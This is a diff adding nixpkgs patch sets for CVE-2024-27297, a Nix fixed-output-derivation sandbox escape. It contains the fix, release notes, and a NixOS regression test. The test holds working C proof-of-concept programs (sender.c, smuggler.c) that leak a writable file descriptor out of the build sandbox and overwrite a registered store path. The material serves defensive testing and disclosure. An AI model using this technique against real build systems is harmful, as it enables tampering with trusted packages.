3 files changed, 19 insertions(+) + +diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc +index 64b55ca6a..f1e22f829 100644 +--- a/src/libstore/build/local-derivation-goal.cc ++++ b/src/libstore/build/local-derivation-goal.cc +@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() + [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; + ++ // Replace the output by a fresh copy of itself to make sure ++ // that there's no stale file descriptor pointing to it ++ Path tmpOutput = actualPath + ".tmp"; ++ copyFile(actualPath, tmpOutput, true); ++ renameFile(tmpOutput, actualPath); ++ + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { + .method = dof.ca.method, + .hashType = wanted.type, +diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc +index 11cc0c0e7..2a7787c0e 100644 +--- a/src/libutil/filesystem.cc ++++ b/src/libutil/filesystem.cc +@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) + } + } + ++ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) ++{ ++ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); ++} ++ + void renameFile(const Path & oldName, const Path & newName) + { + fs::rename(oldName, newName); +diff --git a/src/libutil/util.hh b/src/libutil/util.hh +index b302d6f45..59d42e0a5 100644 +--- a/src/libutil/util.hh ++++ b/src/libutil/util.hh +@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); + */ + void moveFile(const Path & src, const Path & dst); + ++/** ++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is ++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but ++ * with the guaranty that the destination will be “fresh”, with no stale inode ++ * or file descriptor pointing to it). ++ */ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); + + /** + * Wrappers arount read()/write() that read/write exactly the +-- +2.42.0 + + +From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 +From: Tom Bereknyei <tomberek@gmail.com> +Date: Fri, 1 Mar 2024 04:01:23 -0500 +Subject: [PATCH 3/3] Add release notes + +Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> +--- + doc/manual/src/release-notes/rl-next.md | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md +index c869b5e2f..f77513385 100644 +--- a/doc/manual/src/release-notes/rl-next.md ++++ b/doc/manual/src/release-notes/rl-next.md +@@ -1 +1,9 @@ + # Release X.Y (202?-??-??) ++ ++- Fix a FOD sandbox escape: ++ Cooperating Nix derivations could send file descriptors to files in the Nix ++ store to each other via Unix domain sockets in the abstract namespace. This ++ allowed one derivation to modify the output of the other derivation, after Nix ++ has registered the path as "valid" and immutable in the Nix database. ++ In particular, this allowed the output of fixed-output derivations to be ++ modified from their expected content. This isn't the case any more. +-- +2.42.0 + diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch new file mode 100644 index 000000000000..e75b7577af1e --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch @@ -0,0 +1,407 @@ +From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Mon, 12 Feb 2024 21:28:20 +0100 +Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. +--- + tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ + tests/nixos/default.nix | 2 + + 4 files changed, 223 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..40e57ea02 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,90 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ config, ... }: ++ ++let ++ pkgs = config.nodes.machine.nixpkgs.pkgs; ++ ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++{ ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ nix.settings.substituters = lib.mkForce [ ]; ++ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <fcntl.h> ++#include <errno.h> ++#include <string.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} +diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix +index 4459aa664..4c1cf785c 100644 +--- a/tests/nixos/default.nix ++++ b/tests/nixos/default.nix +@@ -40,4 +40,6 @@ in + setuid = lib.genAttrs + ["i686-linux" "x86_64-linux"] + (system: runNixOSTestFor system ./setuid.nix); ++ ++ ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; + } +-- +2.42.0 + + +From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Tue, 13 Feb 2024 08:28:02 +0100 +Subject: [PATCH 2/4] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). +--- + src/libstore/build/local-derivation-goal.cc | 6 ++++++ + src/libutil/file-system.cc | 5 +++++ + src/libutil/file-system.hh | 7 +++++++ + 3 files changed, 18 insertions(+) + +diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc +index a9f930773..d83c47d00 100644 +--- a/src/libstore/build/local-derivation-goal.cc ++++ b/src/libstore/build/local-derivation-goal.cc +@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() + [&](const DerivationOutput::CAFixed & dof) { + auto & wanted = dof.ca.hash; + ++ // Replace the output by a fresh copy of itself to make sure ++ // that there's no stale file descriptor pointing to it ++ Path tmpOutput = actualPath + ".tmp"; ++ copyFile(actualPath, tmpOutput, true); ++ renameFile(tmpOutput, actualPath); ++ + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { + .method = dof.ca.method, + .hashType = wanted.type, +diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc +index c96effff9..777f83c30 100644 +--- a/src/libutil/file-system.cc ++++ b/src/libutil/file-system.cc +@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) + } + } + ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) ++{ ++ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); ++} ++ + void renameFile(const Path & oldName, const Path & newName) + { + fs::rename(oldName, newName); +diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh +index 4637507b3..71db7d8bc 100644 +--- a/src/libutil/file-system.hh ++++ b/src/libutil/file-system.hh +@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst); + */ + void moveFile(const Path & src, const Path & dst); + ++/** ++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is ++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but ++ * with the guaranty that the destination will be “fresh”, with no stale inode ++ * or file descriptor pointing to it). ++ */ ++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); + + /** + * Automatic cleanup of resources. +-- +2.42.0 + + +From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <7226587+thufschmitt@users.noreply.github.com> +Date: Wed, 21 Feb 2024 17:32:36 +0100 +Subject: [PATCH 3/4] Fix a typo in a test comment + +Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> +--- + tests/nixos/ca-fd-leak/default.nix | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +index 40e57ea02..a6ae72adc 100644 +--- a/tests/nixos/ca-fd-leak/default.nix ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -80,7 +80,7 @@ in + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + +- # Check that the file was modified ++ # Check that the file was not modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" +-- +2.42.0 + + +From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Fri, 1 Mar 2024 09:31:05 +0100 +Subject: [PATCH 4/4] Add release notes + +--- + doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md + +diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md +new file mode 100644 +index 000000000..ed451711e +--- /dev/null ++++ b/doc/manual/rl-next/fod-sandbox-escape.md +@@ -0,0 +1,14 @@ ++--- ++synopsis: Fix a FOD sandbox escape ++issues: ++prs: ++--- ++ ++Cooperating Nix derivations could send file descriptors to files in the Nix ++store to each other via Unix domain sockets in the abstract namespace. This ++allowed one derivation to modify the output of the other derivation, after Nix ++has registered the path as "valid" and immutable in the Nix database. ++In particular, this allowed the output of fixed-output derivations to be ++modified from their expected content. ++ ++This isn't the case any more. +-- +2.42.0 diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch new file mode 100644 index 000000000000..b8201cb99ef5 --- /dev/null +++ b/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch @@ -0,0 +1,375 @@ +From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Mon, 12 Feb 2024 21:28:20 +0100 +Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape + +Test that we can't leverage abstract unix domain sockets to leak file +descriptors out of the sandbox and modify the path after it has been +registered. +--- + release.nix | 5 ++ + tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++ + tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ + tests/nixos/ca-fd-leak/smuggler.c | 66 +++++++++++++++++++++ + 4 files changed, 229 insertions(+) + create mode 100644 tests/nixos/ca-fd-leak/default.nix + create mode 100644 tests/nixos/ca-fd-leak/sender.c + create mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/release.nix b/release.nix +index f468946c5..2e71f3796 100644 +--- a/release.nix ++++ b/release.nix +@@ -235,6 +235,11 @@ let + nix = build.x86_64-linux; system = "x86_64-linux"; + }); + ++ tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec { ++ inherit nixpkgs; ++ nix = build.x86_64-linux; system = "x86_64-linux"; ++ }); ++ + tests.setuid = pkgs.lib.genAttrs + ["i686-linux" "x86_64-linux"] + (system: +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +new file mode 100644 +index 000000000..c252caa4d +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -0,0 +1,93 @@ ++# Nix is a sandboxed build system. But Not everything can be handled inside its ++# sandbox: Network access is normally blocked off, but to download sources, a ++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". ++# The detail here is not important, but in our case it means that the hash of ++# the output has to be known beforehand. And if you know that, you get a few ++# rights: you no longer run inside a special network namespace! ++# ++# Now, Linux has a special feature, that not many other unices do: Abstract ++# unix domain sockets! Not only that, but those are namespaced using the ++# network namespace! That means that we have a way to create sockets that are ++# available in every single fixed-output derivation, and also all processes ++# running on the host machine! Now, this wouldn't be that much of an issue, as, ++# well, the whole idea is that the output is pure, and all processes in the ++# sandbox are killed before finalizing the output. What if we didn't need those ++# processes at all? Unix domain sockets have a semi-known trick: you can pass ++# file descriptors around! ++# This makes it possible to exfiltrate a file-descriptor with write access to ++# $out outside of the sandbox. And that file-descriptor can be used to modify ++# the contents of the store path after it has been registered. ++ ++{ nixpkgs, system, nix }: ++ ++with import (nixpkgs + "/nixos/lib/testing-python.nix") { ++ inherit system; ++}; ++ ++let ++ # Simple C program that sends a a file descriptor to `$out` to a Unix ++ # domain socket. ++ # Compiled statically so that we can easily send it to the VM and use it ++ # inside the build sandbox. ++ sender = pkgs.runCommandWith { ++ name = "sender"; ++ stdenv = pkgs.pkgsStatic.stdenv; ++ } '' ++ $CC -static -o $out ${./sender.c} ++ ''; ++ ++ # Okay, so we have a file descriptor shipped out of the FOD now. But the ++ # Nix store is read-only, right? .. Well, yeah. But this file descriptor ++ # lives in a mount namespace where it is not! So even when this file exists ++ # in the actual Nix store, we're capable of just modifying its contents... ++ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); ++ ++ # The abstract socket path used to exfiltrate the file descriptor ++ socketName = "FODSandboxExfiltrationSocket"; ++in ++makeTest { ++ name = "ca-fd-leak"; ++ ++ nodes.machine = ++ { config, lib, pkgs, ... }: ++ { virtualisation.writableStore = true; ++ virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; ++ nix.binaryCaches = [ ]; ++ nix.package = nix; ++ }; ++ ++ testScript = { nodes }: '' ++ start_all() ++ ++ machine.succeed("echo hello") ++ # Start the smuggler server ++ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") ++ ++ # Build the smuggled derivation. ++ # This will connect to the smuggler server and send it the file descriptor ++ machine.succeed(r""" ++ nix-build -E ' ++ builtins.derivation { ++ name = "smuggled"; ++ system = builtins.currentSystem; ++ # look ma, no tricks! ++ outputHashMode = "flat"; ++ outputHashAlgo = "sha256"; ++ outputHash = builtins.hashString "sha256" "hello, world\n"; ++ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; ++ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; ++ }' ++ """.strip()) ++ ++ ++ # Tell the smuggler server that we're done ++ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") ++ ++ # Check that the file was modified ++ machine.succeed(r""" ++ cat ./result ++ test "$(cat ./result)" = "hello, world" ++ """.strip()) ++ ''; ++ ++} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +new file mode 100644 +index 000000000..75e54fc8f +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/sender.c +@@ -0,0 +1,65 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <fcntl.h> ++#include <errno.h> ++#include <string.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Set up a abstract domain socket path to connect to. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ ++ // Now try to connect, To ensure we work no matter what order we are ++ // executed in, just busyloop here. ++ int res = -1; ++ while (res < 0) { ++ res = connect(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0 && errno != ECONNREFUSED) perror("connect"); ++ if (errno != ECONNREFUSED) break; ++ } ++ ++ // Write our message header. ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Write an SCM_RIGHTS message containing the output path. ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ hdr->cmsg_len = CMSG_LEN(sizeof(int)); ++ hdr->cmsg_level = SOL_SOCKET; ++ hdr->cmsg_type = SCM_RIGHTS; ++ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); ++ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); ++ ++ msg.msg_controllen = CMSG_SPACE(sizeof(int)); ++ ++ // Write a single null byte too. ++ msg.msg_iov = malloc(sizeof(struct iovec)); ++ msg.msg_iov[0].iov_base = ""; ++ msg.msg_iov[0].iov_len = 1; ++ msg.msg_iovlen = 1; ++ ++ // Send it to the othher side of this connection. ++ res = sendmsg(sock, &msg, 0); ++ if (res < 0) perror("sendmsg"); ++ int buf; ++ ++ // Wait for the server to close the socket, implying that it has ++ // received the commmand. ++ recv(sock, (void *)&buf, sizeof(int), 0); ++} +diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c +new file mode 100644 +index 000000000..82acf37e6 +--- /dev/null ++++ b/tests/nixos/ca-fd-leak/smuggler.c +@@ -0,0 +1,66 @@ ++#include <sys/socket.h> ++#include <sys/un.h> ++#include <stdlib.h> ++#include <stddef.h> ++#include <stdio.h> ++#include <unistd.h> ++#include <assert.h> ++ ++int main(int argc, char **argv) { ++ ++ assert(argc == 2); ++ ++ int sock = socket(AF_UNIX, SOCK_STREAM, 0); ++ ++ // Bind to the socket. ++ struct sockaddr_un data; ++ data.sun_family = AF_UNIX; ++ data.sun_path[0] = 0; ++ strcpy(data.sun_path + 1, argv[1]); ++ int res = bind(sock, (const struct sockaddr *)&data, ++ offsetof(struct sockaddr_un, sun_path) ++ + strlen(argv[1]) ++ + 1); ++ if (res < 0) perror("bind"); ++ ++ res = listen(sock, 1); ++ if (res < 0) perror("listen"); ++ ++ int smuggling_fd = -1; ++ ++ // Accept the connection a first time to receive the file descriptor. ++ fprintf(stderr, "%s\n", "Waiting for the first connection"); ++ int a = accept(sock, 0, 0); ++ if (a < 0) perror("accept"); ++ ++ struct msghdr msg = {0}; ++ msg.msg_control = malloc(128); ++ msg.msg_controllen = 128; ++ ++ // Receive the file descriptor as sent by the smuggler. ++ recvmsg(a, &msg, 0); ++ ++ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); ++ while (hdr) { ++ if (hdr->cmsg_level == SOL_SOCKET ++ && hdr->cmsg_type == SCM_RIGHTS) { ++ ++ // Grab the copy of the file descriptor. ++ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); ++ } ++ ++ hdr = CMSG_NXTHDR(&msg, hdr); ++ } ++ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); ++ close(a); ++ ++ // Wait for a second connection, which will tell us that the build is ++ // done ++ a = accept(sock, 0, 0); ++ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); ++ // Write a new content to the file ++ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); ++ char * new_content = "Pwned\n"; ++ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); ++ if (written_bytes != strlen(new_content)) perror("write"); ++} + +From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Tue, 13 Feb 2024 08:28:02 +0100 +Subject: [PATCH 2/4] Copy the output of fixed-output derivations before + registering them + +It is possible to exfiltrate a file descriptor out of the build sandbox +of FODs, and use it to modify the store path after it has been +registered. +To avoid that issue, don't register the output of the build, but a copy +of it (that will be free of any leaked file descriptor). +--- + src/libstore/build.cc | 11 +++++++++-- + 1 file changed, 9 insertions(+), 2 deletions(-) + +diff --git a/src/libstore/build.cc b/src/libstore/build.cc +index d3a712c1a..3fb827a15 100644 +--- a/src/libstore/build.cc ++++ b/src/libstore/build.cc +@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs() + throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path); + #endif + +- /* Apply hash rewriting if necessary. */ ++ /* Apply hash rewriting if necessary. ++ * ++ * For FODs, we always do the dump-and-restore dance regardless to make ++ * sure that there's no stale file descriptor pointing to the output ++ * of the path. ++ * */ + bool rewritten = false; +- if (!outputRewrites.empty()) { ++ if (fixedOutput || !outputRewrites.empty()) { ++ if (!outputRewrites.empty()) { + printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path); ++ } + + /* Canonicalise first. This ensures that the path we're + rewriting doesn't contain a hard link to /etc/shadow or + +From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <7226587+thufschmitt@users.noreply.github.com> +Date: Wed, 21 Feb 2024 17:32:36 +0100 +Subject: [PATCH 3/4] Fix a typo in a test comment + +Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> +--- + tests/nixos/ca-fd-leak/default.nix | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +index c252caa4d..2fd5ca2d6 100644 +--- a/tests/nixos/ca-fd-leak/default.nix ++++ b/tests/nixos/ca-fd-leak/default.nix +@@ -83,7 +83,7 @@ makeTest { + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + +- # Check that the file was modified ++ # Check that the file was not modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + +From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= + <theophane.hufschmitt@tweag.io> +Date: Fri, 1 Mar 2024 09:31:05 +0100 +Subject: [PATCH 4/4] Add release notes + +--- + doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md + +diff 